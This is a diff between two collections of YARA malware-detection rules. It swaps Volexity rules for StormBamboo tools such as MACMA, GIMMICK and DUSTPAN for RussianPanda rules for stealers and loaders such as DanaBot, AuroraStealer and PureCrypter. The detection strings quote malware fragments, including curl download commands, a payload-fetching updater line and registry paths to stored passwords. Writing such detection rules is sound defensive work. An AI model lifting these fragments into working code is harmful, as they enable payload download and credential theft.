+		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/52eaa09433fa98e15f60010dfb4daad41ddbb3fc/SolarMarker/solardropper.yar#L1-L15"
+		license_url = "N/A"
+		logic_hash = "5dccb7be94e814335c0c867f8b3dd8855043375fe9f1235d5519c690fc7df842"
 		score = 75
-		quality = 80
-		tags = "FILE, MEMORY"
-		hash1 = "e192932d834292478c9b1032543c53edfc2b252fdf7e27e4c438f4b249544eeb"
-		os = "all"
-		os_arch = "all"
-		scan_context = "file,memory"
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
-		rule_id = 10065
-		version = 3
+		quality = 85
+		tags = ""
 
 	strings:
-		$s1 = "proxy_loop" ascii
-		$s2 = "connect_to_dst" ascii
-		$s3 = "request_client" ascii
-		$s4 = "subnegotiation_client" ascii
-		$s5 = "bind_port" ascii
+		$p1 = {2d 00 71 00 71 00 78 00 74 00 72 00 61 00 63 00 74 00 3a 00 22 00 3c 00 66 00 69 00 6c 00 71 00 71 00 6e 00 61 00 6d 00 71 00 71 00 3e 00 22 00}
+		$p2 = "deimos.exe"
+		$p3 = {5e 00 2d 00 28 00 5b 00 5e 00 3a 00 20 00 5d 00 2b 00 29 00 5b 00 20 00 3a 00 5d 00 3f 00 28 00 5b 00 5e 00 3a 00 5d 00 2a 00 29 00 24 00}
 
 	condition:
-		all of them
+		all of ($p*)
 }
-import "pe"
-import "hash"
-
-rule VOLEXITY_Apt_Malware_Any_Reloadext_Plugin : STORMBAMBOO FILE MEMORY
+rule RUSSIANPANDA_Solarphantom : FILE
 {
 	meta:
-		description = "Detection for RELOADEXT, a Google Chrome extension malware."
-		author = "threatintel@volexity.com"
-		id = "6c6c8bee-2a13-5645-89ef-779f00264fd9"
-		date = "2024-02-23"
-		modified = "2024-08-02"
-		reference = "TIB-20240227"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2024/2024-08-02 StormBamboo/rules.yar#L4-L36"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		logic_hash = "2b11f8fc5b6260ebf00bde83585cd7469709a4979ca579cdf065724bc15052fc"
+		description = "SolarPhantom Backdoor Detection"
+		author = "RussianPanda"
+		id = "f564a943-e83b-5c1b-ba8c-b227d69d3fd8"
+		date = "2023-12-11"
+		modified = "2023-12-11"
+		reference = "https://www.esentire.com/blog/solarmarker-to-jupyter-and-back"
+		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/52eaa09433fa98e15f60010dfb4daad41ddbb3fc/SolarMarker/solarphantom.yar#L1-L16"
+		license_url = "N/A"
+		logic_hash = "3b49d301e625d5abf1b726481a80d6a97d33acd3301c12964f2f37d37130c1b7"
 		score = 75
-		quality = 80
-		tags = "STORMBAMBOO, FILE, MEMORY"
-		hash1 = "9d0928b3cc21ee5e1f2868f692421165f46b5014a901636c2a2b32a4c500f761"
-		os = "all"
-		os_arch = "all"
-		scan_context = "file,memory"
-		severity = "critical"
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
-		rule_id = 10282
-		version = 4
+		quality = 83
+		tags = "FILE"
 
 	strings:
-		$man1 = "Reload page with Internet Explorer compatible mode."
-		$man2 = "\"http://*/*\""
-		$code1 = ";chrome["
-		$code2 = "XMLHttpRequest(),_"
-		$code3 = "0x400*0x400"
+		$p1 = {B8 94 E3 46 00 E8 C6 EB FA FF 8B 45 F8}
+		$p2 = {68 E8 EF 46 00 FF 75 E4}
+		$p3 = {62 72 76 70 72 66 5f 62 6b 70}
 
 	condition:
-		all of ($man*) or (#code1>8 and #code2>=2 and #code3>=2)
+		uint16(0)==0x5A4D and 1 of ($p*) and filesize <600KB
 }
 import "pe"
-import "hash"
 
-rule VOLEXITY_Apt_Malware_Macos_Reloadext_Installer : STORMBAMBOO FILE MEMORY
+rule RUSSIANPANDA_Solarmarker_Loader : FILE
 {
 	meta:
-		description = "Detect the RELOADEXT installer."
-		author = "threatintel@volexity.com"
-		id = "c65ea2b5-ab98-5693-92ea-05c0f1ea1e5b"
-		date = "2024-02-23"
-		modified = "2024-08-02"
-		reference = "TIB-20240227"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2024/2024-08-02 StormBamboo/rules.yar#L37-L62"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		logic_hash = "8688796839202d95ded15e10262a7a7c7cbbae4a332b60305402e5984005d452"
+		description = "Detects SolarMarker loader 1-4-2024"
+		author = "RussianPanda"
+		id = "b385fcd4-62b7-5a83-8a2e-6841fdd17526"
+		date = "2024-01-04"
+		modified = "2024-01-04"
+		reference = "https://www.esentire.com/blog/solarmarker-to-jupyter-and-back"
+		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/52eaa09433fa98e15f60010dfb4daad41ddbb3fc/SolarMarker/solarmarker_backdoor.yar#L3-L19"
+		license_url = "N/A"
+		hash = "8eeefe0df0b057fc866b8d35625156de"
+		logic_hash = "035eccb41f2ecdeb196003542c165cedad96e3e8e741511b4beda3dfe1ece74e"
 		score = 75
-		quality = 80
-		tags = "STORMBAMBOO, FILE, MEMORY"
-		hash1 = "07e3b067dc5e5de377ce4a5eff3ccd4e6a2f1d7a47c23fe06b1ededa7aed1ab3"
-		os = "darwin"
-		os_arch = "all"
-		scan_context = "file,memory"
-		severity = "critical"
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
-		rule_id = 10281
-		version = 2
+		quality = 85
+		tags = "FILE"
 
 	strings:
-		$str1 = "/CustomPlug1n/"
-		$str2 = "Chrome NOT installed."
-		$str3 = "-f force kill Chrome"
-		$str4 = "/*} &&cp -rf ${"
+		$s1 = {06 [0-7] 58 D1 8C [3] 01 28 [3] 0A 0A}
 
 	condition:
-		3 of them
+		all of ($s*) and #s1>5 and filesize <7MB and pe.imports("mscoree.dll")
 }
-import "pe"
-import "hash"
-
-rule VOLEXITY_Apt_Malware_Any_Macma_A : STORMBAMBOO FILE MEMORY
+rule RUSSIANPANDA_Garystealer : FILE
 {
 	meta:
-		description = "Detects variants of the MACMA backdoor, variants of MACMA have been discovered for Windows, macOS and android."
-		author = "threatintel@volexity.com"
-		id = "6ab45af1-41e5-53fc-9297-e2bc07ebf797"
-		date = "2021-11-12"
-		modified = "2024-08-02"
-		reference = "https://blog.google/threat-analysis-group/analyzing-watering-hole-campaign-using-macos-exploits/"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2024/2024-08-02 StormBamboo/rules.yar#L64-L112"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		logic_hash = "7ebaff9fddf6491d6b1ed9ab14c1b87dc8df850536e55aa723d625a593b33ed7"
+		description = "Detects GaryStealer 1-3-2024"
+		author = "RussianPanda"
+		id = "4b0af30e-2cf1-539d-89fa-7e4e32cd6eab"
+		date = "2024-01-03"
+		modified = "2024-01-03"
+		reference = "https://cybersecurity.att.com/blogs/labs-research/behind-the-scenes-jaskagos-coordinated-strike-on-macos-and-windows"
+		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/52eaa09433fa98e15f60010dfb4daad41ddbb3fc/GaryStealer/garystealer-1-3-2024.yar#L1-L20"
+		license_url = "N/A"
+		hash = "6efa29a0f9d112cfbb982f7d9c0ddfe395b0b0edb885c2d5409b33ad60ce1435"
+		logic_hash = "f71655d0cb237c08af9c298ec9eec1ae9bd1efd50e26d61afddf9056b6883a15"
 		score = 75
-		quality = 53
-		tags = "STORMBAMBOO, FILE, MEMORY"
-		hash1 = "cf5edcff4053e29cb236d3ed1fe06ca93ae6f64f26e25117d68ee130b9bc60c8"
-		hash2 = "9b71fad3280cf36501fe110e022845b29c1fb1343d5250769eada7c36bc45f70"
-		hash3 = "623f99cbe20af8b79cbfea7f485d47d3462d927153d24cac4745d7043c15619a"
-		hash4 = "d599d7814adbab0f1442f5a10074e00f3a776ce183ea924abcd6154f0d068bb4"
-		os = "all"
-		os_arch = "all"
-		report1 = "TIB-20231221"
-		report2 = "TIB-20240227"
-		scan_context = "file,memory"
-		severity = "critical"
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
-		rule_id = 6114
-		version = 8
+		quality = 79
+		tags = "FILE"
 
 	strings:
-		$magic1 = "curl -o %s http://cgi1.apnic.net/cgi-bin/my-ip.php" fullword ascii
-		$magic2 = "[FST%d]: WhyUserCancel UNKNOW: %d" fullword ascii
-		$magic3 = "[FST%d]: wait C2 prepare ready TIMEOUT, fd: %d" fullword ascii
-		$magic4 = "[FST%d]: wait C2 ack file content TIMEOUT, fd: %d" fullword ascii
-		$magic5 = "[FST%d]: TIMER_CHECK_CANCEL WhyUserCancel UNKNOW: %d" fullword ascii
-		$magic6 = "[FST%d]: encrypt file info key=%s, crc v1=0x%p, v2=0x%p" fullword ascii
-		$s1 = "auto bbbbbaaend:%d path %s" fullword ascii
-		$s2 = "0keyboardRecirderStopv" fullword ascii
-		$s3 = "curl begin..." fullword ascii
-		$s4 = "curl over!" fullword ascii
-		$s5 = "kAgent fail" fullword ascii
-		$s6 = "put !!!!" fullword ascii
-		$s7 = "vret!!!!!! %d" fullword ascii
-		$s8 = "save Setting Success" fullword ascii
-		$s9 = "Start Filesyste Search." fullword ascii
-		$s10 = "./SearchFileTool" fullword ascii
-		$s11 = "put unknow exception in MonitorQueue" fullword ascii
-		$s12 = "./netcfg2.ini" fullword ascii
-		$s13 = ".killchecker_" fullword ascii
-		$s14 = "./param.ini" fullword ascii
+		$s1 = {72 75 6e 74 69 6d 65 2e 67 6f 70 61 6e 69 63}
+		$s2 = {4c 6f 63 61 6c 20 49 50 20 41 64 64 72 65 73 73 65 73 3a 5b 70 69 63 6b 2d 66 69 72 73 74 2d 6c 62 20 25 70 5d}
+		$s3 = {70 65 72 73 69 73 74 61 6E 63 65 20 63 72 65 61 74 65 64}
+		$s4 = {C7 40 28 ?? 00 00 00}
 
 	condition:
-		any of ($magic*) or 7 of ($s*)
+		uint16(0)==0x5A4D and 3 of ($s*) and filesize <20MB and #s4>2
 }
-import "pe"
-import "hash"
-
-rule VOLEXITY_Apt_Malware_Macos_Gimmick : STORMBAMBOO FILE MEMORY
+rule RUSSIANPANDA_Aurorastealer_1
 {
 	meta:
-		description = "Detects the macOS port of the GIMMICK malware."
-		author = "threatintel@volexity.com"
-		id = "3d485788-4aab-511b-a49e-5dc09d1950a9"
-		date = "2021-10-18"
-		modified = "2024-08-02"
-		reference = "https://www.volexity.com/blog/2022/03/22/storm-cloud-on-the-horizon-gimmick-malware-strikes-at-macos/"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2024/2024-08-02 StormBamboo/rules.yar#L113-L171"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		logic_hash = "00fba9df2212874a45d44b3d098a7b76c97fcd53ff083c76b784d2b510a4a467"
-		score = 75
-		quality = 78
-		tags = "STORMBAMBOO, FILE, MEMORY"
-		hash1 = "2a9296ac999e78f6c0bee8aca8bfa4d4638aa30d9c8ccc65124b1cbfc9caab5f"
-		os = "darwin"
-		os_arch = "all"
-		scan_context = "file,memory"
-		severity = "critical"
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
-		rule_id = 6022
-		version = 8
+		description = "Detects the Build/Group IDs if present / detects an unobfuscated AuroraStealer binary; tested on version 22.12.2022"
+		author = "RussianPanda"
+		id = "1a94096f-c838-5272-856e-42efbd123a31"
+		date = "2023-02-07"
+		modified = "2023-05-05"
+		reference = "https://github.com/RussianPanda95/Yara-Rules"
+		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/52eaa09433fa98e15f60010dfb4daad41ddbb3fc/AuroraStealer/AuroraStealer.yar#L1-L16"
+		license_url = "N/A"
+		logic_hash = "7a9900266a0dfa7bf0ea91a0260a1d30bd7799a491fba87db083f4fea4115f2a"
+		score = 50
+		quality = 85
+		tags = ""
 
 	strings:
-		$s1 = "http://cgi1.apnic.net/cgi-bin/my-ip.php --connect-timeout 10 -m 20" wide ascii
-		$json1 = "base_json" ascii wide
-		$json2 = "down_json" ascii wide
-		$json3 = "upload_json" ascii wide
-		$json4 = "termin_json" ascii wide
-		$json5 = "request_json" ascii wide
-		$json6 = "online_json" ascii wide
-		$json7 = "work_json" ascii wide
-		$msg1 = "bash_pid: %d, FDS_CHILD: %d, FDS_PARENT: %d" ascii wide
-		$msg2 = "pid %d is dead" ascii wide
-		$msg3 = "exit with code %d" ascii wide
-		$msg4 = "recv signal %d" ascii wide
-		$cmd1 = "ReadCmdQueue" ascii wide
-		$cmd2 = "read_cmd_server_timer" ascii wide
-		$cmd3 = "enableProxys" ascii wide
-		$cmd4 = "result_block" ascii wide
-		$cmd5 = "createDirLock" ascii wide
-		$cmd6 = "proxyLock" ascii wide
-		$cmd7 = "createDirTmpItem" ascii wide
-		$cmd8 = "dowfileLock" ascii wide
-		$cmd9 = "downFileTmpItem" ascii wide
-		$cmd10 = "filePathTmpItem" ascii wide
-		$cmd11 = "uploadItems" ascii wide
-		$cmd12 = "downItems" ascii wide
-		$cmd13 = "failUploadItems" ascii wide
-		$cmd14 = "failDownItems" ascii wide
-		$cmd15 = "downloadCmds" ascii wide
-		$cmd16 = "uploadFiles" ascii wide
-		$cmd17 = "bash callback...." ascii wide
+		$b1 = { 48 8D 0D ?? ?? 04 00 E8 ?? ?? EF FF }
+		$go = "Go build ID"
+		$machineid = "MachineGuid"
+
+	condition:
+		all of them
+}
+rule RUSSIANPANDA_Aurorastealer_March_2023
+{
+	meta:
+		description = "Detects an unobfuscated AuroraStealer March update binary"
+		author = "RussianPanda"
+		id = "a115de7a-bff7-5bb0-b83f-f66a29bbcf3f"
+		date = "2023-03-23"
+		modified = "2023-05-05"
+		reference = "https://github.com/RussianPanda95/Yara-Rules"
+		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/52eaa09433fa98e15f60010dfb4daad41ddbb3fc/AuroraStealer/Aurora_March_2023.yar#L1-L15"
+		license_url = "N/A"
+		logic_hash = "d74d2843a03e826f334ce3c5eb10cc2b43cfd832174769e5d067fb877abe13a0"
+		score = 75
+		quality = 85
+		tags = ""
+
+	strings:
+		$b1 = { 48 8D 0D ?? ?? 05 00 E8 ?? ?? EF FF }
+		$ftp = "FOUND FTP"
 
 	condition:
-		$s1 or 5 of ($json*) or 3 of ($msg*) or 9 of ($cmd*)
+		all of them
 }
-import "pe"
-import "hash"
-
-rule VOLEXITY_Apt_Malware_Win_Dustpan_Apihashes : STORMBAMBOO FILE
+rule RUSSIANPANDA_Danabot
 {
 	meta:
-		description = "Detects DUSTPAN malware using API hashes used to resolve functions at runtime."
-		author = "threatintel@volexity.com"
-		id = "ed275da4-cd95-5fa3-a568-e610fb405bb3"
-		date = "2023-08-17"
-		modified = "2024-08-02"
-		reference = "https://github.com/volexity/threat-intel"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2024/2024-08-02 StormBamboo/rules.yar#L173-L207"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		logic_hash = "3edb66ade428c451c18aa152244f869f9f8c10e62ed942bf722b4d1cf1893e93"
+		description = "Detects DanaBot"
+		author = "RussianPanda"
+		id = "804604d9-db3b-5678-ae0d-67f0e876c93e"
+		date = "2023-12-01"
+		modified = "2023-12-01"
+		reference = "https://github.com/RussianPanda95/Yara-Rules"
+		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/52eaa09433fa98e15f60010dfb4daad41ddbb3fc/DanaBot/danabot_yara.yar#L1-L17"
+		license_url = "N/A"
+		logic_hash = "4968531f27fa1a8bc3fca536a04b75277adefc42addb9f1999c564510cbcb684"
 		score = 75
-		quality = 80
-		tags = "STORMBAMBOO, FILE"
-		hash1 = "b77bcfb036f5a6a3973fdd68f40c0bd0b19af1246688ca4b1f9db02f2055ef9d"
-		os = "win"
-		os_arch = "all"
-		report1 = "MAR-20230818"
-		report2 = "TIB-20231221"
-		scan_context = "file"
-		severity = "critical"
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
-		rule_id = 9591
-		version = 3
+		quality = 83
+		tags = ""
 
 	strings:
-		$h1 = {9c 5b 9f 0b}
-		$h2 = {4c 8f 3e 08}
-		$h3 = {b4 aa f2 06}
-		$h4 = {dc cb ca 09}
-		$h5 = {d4 33 07 0e}
-		$h6 = {27 89 d6 0a}
-		$h7 = {b5 7d ae 09}
-		$h8 = {4e 64 eb 0b}
-		$h9 = {be 17 d9 08}
-		$magic = "SMHM"
+		$s1 = {55 8b ec 8a 45 08 34 4a 5d c2 04 00}
+		$s2 = {4D 00 6F 00 7A 00 69 00 6C 00 6C 00 61 00 5C 00 53 00 65 00 61 00 4D 00 6F 00 6E 00 6B 00 65 00 79}
+		$s3 = {4D 00 6F 00 7A 00 69 00 6C 00 6C 00 61 00 20 00 54 00 68 00 75 00 6E 00 64 00 65 00 72 00 62 00 69 00 72 00 64 00}
+		$s4 = {53 00 6F 00 66 00 74 00 77 00 61 00 72 00 65 00 5C 00 4F 00 52 00 4C 00 5C 00 57 00 69 00 6E 00 56 00 4E 00 43 00 33 00 5C 00 50 00 61 00 73 00 73 00 77 00 6F 00 72 00 64}
+		$s5 = {53 00 6F 00 66 00 74 00 77 00 61 00 72 00 65 00 5C 00 45 00 78 00 63 00 69 00 74 00 65 00 5C 00 50 00 72 00 69 00 76 00 61 00 74 00 65 00 4D 00 65 00 73 00 73 00 65 00 6E 00 67 00 65 00 72 00 5C 00 50 00 61 00 73 00 73 00 77 00 6F 00 72 00 64}
+		$a = {44 45 4C 50 48 49 43 4C 41 53 53}
 
 	condition:
-		6 of ($h*) and $magic
+		3 of ($s*) and $a
 }
-import "pe"
-import "hash"
-
-rule VOLEXITY_Apt_Malware_Win_Pocostick_Jul23 : STORMBAMBOO FILE MEMORY
+rule RUSSIANPANDA_Zharkbot : FILE
 {
 	meta:
-		description = "Detects the July 2023 POCOSTICK variant. These strings are only visible in memory after several rounds of shellcode decryption."
-		author = "threatintel@volexity.com"
-		id = "9632a7fc-06da-58b4-b95c-b46aeb9dd41d"
-		date = "2023-07-24"
-		modified = "2024-08-02"
-		reference = "TIB-20231221"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2024/2024-08-02 StormBamboo/rules.yar#L209-L238"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		logic_hash = "19487db733c7f793be2a1287df32a165e46f6af0e940b13b389f4d675b5100c4"
+		description = "Detects ZharkBot"
+		author = "RussianPanda"
+		id = "54213d76-7e27-559d-b653-5390a0c6813c"
+		date = "2024-01-21"
+		modified = "2024-03-12"
+		reference = "https://x.com/ViriBack/status/1749184882822029564?s=20"
+		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/52eaa09433fa98e15f60010dfb4daad41ddbb3fc/ZharkBot/zharkbot.yar#L1-L15"
+		license_url = "N/A"
+		hash = "d53ce8c0a8a89c2e3eb080849da8b1c47eaac614248fc55d03706dd5b4e10bdd"
+		logic_hash = "ffaec6b19dd4385cd1bc156fdfde39a356367c7fba4135c48a8de62a18a78576"
 		score = 75
-		quality = 80
-		tags = "STORMBAMBOO, FILE, MEMORY"
-		hash1 = "ec3e787c369ac4b28447e7cacc44d70a595e39d47f842bacb07d19b12cab6aad"
-		os = "win"
-		os_arch = "all"
-		scan_context = "file,memory"
-		severity = "critical"
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
-		rule_id = 9542
-		version = 3
+		quality = 85
+		tags = "FILE"
 
 	strings:
-		$str1 = "Folder PATH listing form volume" wide
-		$str2 = "Volume serial number is 0000-1111" wide
-		$str3 = "Type:Error" wide
-		$str4 = "Type:Desktop" wide
-		$str5 = "Type:Laptop" wide
-		$str6 = "Type:Vitual" wide
-		$str7 = ".unicode.tmp" wide
-		$str8 = "EveryOne" wide
+		$s1 = {F7 EA C1 FA 04 8B C2 C1 E8 1F 03 C2 8B 55 ?? 0F BE C0 8A CA 6B C0 ?? 2A C8 80 C1}
+		$s2 = {F7 E2 C1 EA 04 0F BE C2 8B 55 ?? 8A CA 6B C0 ?? 2A C8 80 C1 ?? 30 8C 15}
 
 	condition:
-		6 of them
+		uint16(0)==0x5A4D and #s1>3 and #s2>3 and filesize <500KB
 }
-import "pe"
-import "hash"
+import "dotnet"
 
-rule VOLEXITY_Apt_Malware_Py_Dustpan_Pyloader : STORMBAMBOO FILE MEMORY
+rule RUSSIANPANDA_Purecrypter_Core : FILE
 {
 	meta:
-		description = "Detects Python script used by KPlayer to update, modified by attackers to download a malicious payload."
-		author = "threatintel@volexity.com"
-		id = "446d2eef-c60a-50ed-9ff1-df86b6210dff"
-		date = "2023-07-21"
-		modified = "2024-08-02"
-		reference = "TIB-20231221"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2024/2024-08-02 StormBamboo/rules.yar#L240-L274"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		logic_hash = "bb3a70dad28181534e27abbbd618165652c137264bfd3726ae4480c642493a3b"
+		description = "Detects PureCrypter Core payload"
+		author = "RussianPanda"
+		id = "41aaa187-0fb5-53fe-a162-8d1a4974ccc1"
+		date = "2024-01-09"
+		modified = "2024-01-09"
+		reference = "https://www.zscaler.com/blogs/security-research/technical-analysis-purecrypter"
+		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/52eaa09433fa98e15f60010dfb4daad41ddbb3fc/PureCrypter/purecrypter_core.yar#L3-L28"
+		license_url = "N/A"
+		hash = "e4faa7d7a098414449abffb210fd874798207ee9d27643c8088676ff429b56b7"
+		logic_hash = "8c761a98369436ffbe1379152461753778985a42ae656567018b47c71af7d866"
 		score = 75
-		quality = 80
-		tags = "STORMBAMBOO, FILE, MEMORY"
-		os = "all"
-		os_arch = "all"
-		scan_context = "file,memory"
-		severity = "critical"
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
-		rule_id = 9530
-		version = 4
+		quality = 81
+		tags = "FILE"
 
 	strings:
-		$s_1 = "def count_md5(src)"
-		$s_2 = "urllib.request.urlretrieve(image_url,main)"
-		$s_3 = "m1 != '4c8a326899272d2fe30e818181f6f67f'"
-		$s_4 = "os.path.split(os.path.realpath(__file__))[0]"
-		$s_5 = "r_v = os.system('curl '+ini_url+cc)"
-		$s_6 = "b41ef5f591226a0d5adce99cb2e629d8"
-		$s_7 = "1df495e7c85e59ad0de1b9e50912f8d0"
-		$s_8 = "tasklist | findstr mediainfo.exe"
-		$url_1 = "http://dl1.5kplayer.com/youtube/youtube_dl.png"
-		$url_2 = "http://dl1.5kplayer.com/youtube/youtube.ini?fire="
-		$path_1 = "C:\\\\ProgramData\\\\Digiarty\\\\mediainfo.exe"
+		$s1 = {47 5A 69 70 53 74 72 65 61 6D}
+		$s2 = {41 73 73 65 6D 62 6C 79 4C 6F 61 64 65 72 00 43 6F 73 74 75 72 61}
+		$s3 = {44 65 66 6C 61 74 65 53 74 72 65 61 6D}
+		$cnct = {72 ?? ?? 00 70 28 FB 00 00 0A 72 ?? ?? 00 70 28 ?? 00 00 0A}
+		$nr1 = {7B 00 31 00 31 00 31 00 31 00 31 00 2D 00 32 00 32 00 32 00 32 00 32 00 2D 00 34 00 30 00 30 00 30 00 31 00 2D 00 30 00 30 00 30 00 30 00 31 00 7D}
+		$nr2 = {7B 00 31 00 31 00 31 00 31 00 31 00 2D 00 32 00 32 00 32 00 32 00 32 00 2D 00 34 00 30 00 30 00 30 00 31 00 2D 00 30 00 30 00 30 00 30 00 32 00 7D}
+		$nr3 = {7B 00 31 00 31 00 31 00 31 00 31 00 2D 00 32 00 32 00 32 00 32 00 32 00 2D 00 32 00 30 00 30 00 30 00 31 00 2D 00 30 00 30 00 30 00 30 00 32 00 7D}
+		$nr4 = {7B 00 31 00 31 00 31 00 31 00 31 00 2D 00 32 00 32 00 32 00 32 00 32 00 2D 00 32 00 30 00 30 00 30 00 31 00 2D 00 30 00 30 00 30 00 30 00 31 00 7D}
 
 	condition:
-		3 of ($s_*) or any of ($url_*) or $path_1
+		filesize <5MB and all of ($s*) and dotnet.number_of_resources>4 and dotnet.number_of_resources<6 and 2 of ($nr*) and dotnet.assembly_refs[1].name contains "protobuf-net" and #cnct>5
 }
-import "pe"
-import "hash"
+import "dotnet"
 
-rule VOLEXITY_Apt_Malware_Win_Pocostick_B : STORMBAMBOO FILE
+rule RUSSIANPANDA_Purecrypter : FILE
 {
 	meta:
-		description = "Detects the POCOSTICK family, variant B."
-		author = "threatintel@volexity.com"
-		id = "2a8a455d-6b5c-53a7-aa5e-91d29efd3aa8"
-		date = "2020-07-08"
-		modified = "2024-08-02"
-		reference = "TIB-20231221"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2024/2024-08-02 StormBamboo/rules.yar#L276-L307"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		hash = "1e81fb62cb57a3231642f66fee3e10d28a7c81637e4d6a03515f5b95654da585"
-		logic_hash = "a51e836425ec407706c7b2a4c21cc12398620c7dae6c9504a855f99e4b4d6ab2"
+		description = "Detects PureCrypter"
+		author = "RussianPanda"
+		id = "5670772c-ada1-55fa-b7fd-9dadd1756259"
+		date = "2024-01-09"
+		modified = "2024-01-09"
+		reference = "https://www.zscaler.com/blogs/security-research/technical-analysis-purecrypter"
+		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/52eaa09433fa98e15f60010dfb4daad41ddbb3fc/PureCrypter/purecrypter.yar#L3-L22"
+		license_url = "N/A"
+		hash = "566d8749e166436792dfcbb5e5514f18c9afc0e1314833ac2e3d86f37ff2030f"
+		logic_hash = "dd8592fa0b7d240d23235008601500a20e068032f6dcd6e90a38b06ac747b8af"
 		score = 75
-		quality = 80
-		tags = "STORMBAMBOO, FILE"
-		os = "win"
-		os_arch = "all"
-		scan_context = "file"
-		severity = "critical"
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
-		rule_id = 1678
-		version = 6
+		quality = 83
+		tags = "FILE"
 
 	strings:
-		$a1 = "AVCAesUtil@@" ascii
-		$a2 = "AVencrypt_base@@" ascii
-		$a3 = "AVCCmdTarget@@" ascii
-		$a4 = "AVCWinThread@@" ascii
+		$s1 = {28 ?? 00 00 ?? 28 02 00 00 2B 28 ?? 00 00 (0A|06)}
+		$s2 = {73 ?? 00 00 0A}
+		$s3 = {73 ?? 00 00 06 6F ?? 00 00 06}
+		$s4 = {52 65 73 6F 75 72 63 65 4D 61 6E 61 67 65 72}
+		$s5 = {28 ?? 00 00 ?? 6F ?? 00 00 0A 28 03 00 00 2B ?? 6F ?? 00 00 0A 28 ?? 00 00 2B}
 
 	condition:
-		all of ($a*) or for any resource in pe.resources : (hash.sha256(resource.offset,resource.length)=="b098afd3657b956edbace77499e5e20414ab595a17ffc437b9dadc791eff1cfa" or hash.sha256(resource.offset,resource.length)=="2e53e960d45d657d8ba9929f6c8b34e90b2ae15b879768099474678dd1864f3b")
+		filesize <6MB and 4 of ($s*) and dotnet.number_of_resources>0 and dotnet.number_of_resources<2 and dotnet.resources[0].length>300KB
 }
-import "pe"
-import "hash"
-
-rule VOLEXITY_Apt_Malware_Elf_Catchdns_Aug20_Memory : DRIFTINGBAMBOO FILE MEMORY
+rule RUSSIANPANDA_Win_Mal_Planetstealer : FILE
 {
 	meta:
-		description = "Looks for strings from CatchDNS component used to intercept and modify DNS responses, and likely also intercept/monitor http. This rule would only match against memory in the example file analyzed by Volexity."
-		author = "threatintel@volexity.com"
-		id = "95306735-cdae-5407-ad49-d465d245378d"
-		date = "2020-08-20"
-		modified = "2024-08-02"
-		reference = "https://github.com/volexity/threat-intel"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2024/2024-08-02 StormBamboo/rules.yar#L308-L382"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		hash = "4f3d35f4f8b810362cbd4c59bfe5a961e559fe5713c9478294ccb3af2d306515"
-		logic_hash = "a7d677d7eecf388df7e7c2343fd3e46188594473c01075bf8a0b54292a51db94"
+		description = "Detects PlanetStealer"
+		author = "RussianPanda"
+		id = "f912066f-4151-5f83-8d34-6bffdf9e25e5"
+		date = "2024-03-04"
+		modified = "2024-03-24"
+		reference = "https://github.com/RussianPanda95/Yara-Rules"
+		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/52eaa09433fa98e15f60010dfb4daad41ddbb3fc/PlanetStealer/win_mal_PlanetStealer.yar#L1-L14"
+		license_url = "N/A"
+		logic_hash = "e1660d6fed4c48b45b40bd51fb52254c5b19ca6f1938b68f2344bde473820b86"
 		score = 75
-		quality = 55
-		tags = "DRIFTINGBAMBOO, FILE, MEMORY"
-		os = "linux"
-		os_arch = "all"
-		report1 = "MAR-20221222"
-		report2 = "TIB-20231221"
-		scan_context = "file,memory"
-		severity = "critical"
